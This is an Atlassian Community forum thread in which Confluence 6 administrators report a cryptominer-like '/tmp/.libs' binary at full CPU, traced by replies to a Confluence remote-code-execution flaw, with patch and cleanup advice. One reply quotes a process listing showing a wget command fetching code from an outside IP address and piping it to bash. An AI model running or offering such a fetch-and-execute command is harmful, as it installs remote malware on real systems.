Create
cancel
Showing results for 
Search instead for 
Did you mean: 
Sign up Log in

It's not the same without you

Join the community to find out what other Atlassian users are discussing, debating and creating.

Atlassian Community Hero Image Collage

Confluence. CPU at 100% in "/tmp/.libs" binary

Hello, I have a Conflunece 6 on my own server, and sometimes a file /tmp/.libs created by confluence have the CPU at 100%.

 

I explore the binary and see it's a en elf executable and the file size is about 2 MB. I think it is any kind of java subsystem binary cache or the result of Java's AOT.

 

Stoping confluence and deleting it will regenerate when confluence starts again, first with small size, but over the time it gets bigger.

How Can I do to get less CPU usage?.

 

My confluence installation does not have any external plugin/extension except the Cloud migration tool.

 

Thanks.

2 answers

Hi,

thanks for informing. do you know any thing we can do for this issue. They are deploying some binary files whenever possible locations which has access to confluence user. I restricted all the places which has access by confluence user. After that it is running below things again and again.

 

conflue+ 26417 26416 0 18:58 ? 00:00:00 /bin/sh -c wget -q -O - http://1
conflue+ 26418 26417 0 18:58 ? 00:00:00 wget -q -O - http://195.3.146.11
conflue+ 26419 26417 0 18:58 ? 00:00:00 bash
root 26426 1006 0 18:59 ? 00:00:00 CRON

 

thanks,

They already have a patch for this vulnerability: https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md 

Like Iván Dominguez likes this

After apply patch you need to delete all artifacts (installed apps/modified files) manually. Please check home directory of atlassian user

Like Iván Dominguez likes this

Hi Team,

 

Same issue here /tmp/.inis and /tmp/.libs files are eating 100% CPU and more into blogs, I found its malware inject and scanned for files using clamscan... I found files in the /tmp folder and deleted. Still when I delete the above .inis and .libs files they are re-creating it.

Please can you provide a solution for this. we use confluence 6.12.2.

Hi team,
I also have same issue. please provide a solution for this. I deleted all files in tmp folder but they are still creating files and running them.

I temporary changed the tmp folder permission to 755. so only root can write to the tmp directory now.

Suggest an answer

Log in or Sign up to answer
TAGS
Community showcase
Published in Confluence

Confluence Mythbusters: Does Atlassian even use Confluence?

Hi, Confluence collaborators! As part of #Confluence-Collaboratory month, we’ve created a very special Mythsbusters segment, where we're dive into an interesting myth and uncover the truth behind i...

1,408 views 7 29
Read article

Community Events

Connect with like-minded Atlassian users at free events near you!

Find an event

Connect with like-minded Atlassian users at free events near you!

Unfortunately there are no Community Events near you at the moment.

Host an event

You're one step closer to meeting fellow Atlassian users at your local event. Learn more about Community Events

Events near you